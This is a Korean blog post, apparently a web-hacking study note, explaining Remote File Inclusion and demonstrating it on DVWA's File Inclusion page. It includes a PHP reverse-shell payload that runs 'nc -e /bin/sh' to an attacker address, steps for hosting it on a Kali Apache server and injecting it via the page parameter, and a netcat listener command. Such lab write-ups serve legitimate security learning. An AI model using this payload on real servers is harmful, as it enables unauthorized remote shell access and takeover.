RFI (1)

밍기적·2022년 11월 13일
0

웹해킹

목록 보기
9/35
post-thumbnail

RFI


RFI취약점을 이용한 공격은 공격자가 악성 스크립트를 서비스 서버에 전달하여 해당 페이지를 통하여 전달한 악성코드가 실행되도록 하는 것

  • 쉽게 말해 웹 어플리케이션에 공격자 자신의 코드를 원격으로 삽입 가능하다는 것
  • $_GET, $_POST, $_cookie 등으로 값을 전달 받는 과정에서 파라미터 값을 제대로 검증하지 않아서 발생함

LFI 취약점과 비슷한 취약점

  • 그러나 공격자에게 어떠한 서버로부터 어떠한 파일이라도 읽을 수 있도록 해준다.

해당 서버가 allow your URL 이라는 특정 기능을 허용하도록 설정되어 있다면 URL을 이용하여 모든 컴퓨터의 모든 파일을 접근할 수 있습니다.

말 그대로 PHP 파일을 대상 컴퓨터에 주입할 수 있습니다.

  • 이로서 페이로드를 실행할 수 있으며
  • 리버스 쉘을 이용하여 연결할 수도 있습니다.

심지어 시스템 명령을 수행하고 대상에 대한 액세스 권한을 얻거나 대상 서버에 대한 모든 권한을 얻을 수 있습니다.

LFI에서 DVWA의 File Inclusion 탭에서 URL에 page 파라미터가 존재합니다.

LFI와의 유일한 차이점은 로컬 파일을 변환하는 기능을 활성화 해야한다는 것입니다.

이제 PHP 쉘을 작성해봅니다.

<?php

passthru("nc -e /bin/sh [대상IP] [PORT_NUMBER]");

?>

현재 칼리리눅스에 작성한 PHP 쉘을 /var/www/html 경로에 저장한뒤 apache2 서버를 시작합니다.

그리고 웹사이트에서 파일명을 넣고 누르면 브라우저에서 파일 내용을 확인할 수 있습니다.

위에서 작성한 php코드는 텍스트파일로 저장했습니다.

이제 page 파라미터의 값으로 주소창에서 작성한 텍스트 파일 경로를 넣어줍니다.

이후 칼리리눅스 터미널 한 곳에서는 netcat을 이용하기 위해서

nc -lvnp 8080

으로 8080 포트에서 연결을 기다리고 있고 앞선 URL을 누르게 된다면

리버스 쉘 연결이 정상적으로 작동하는 것을 확인할 수 있습니다.

0개의 댓글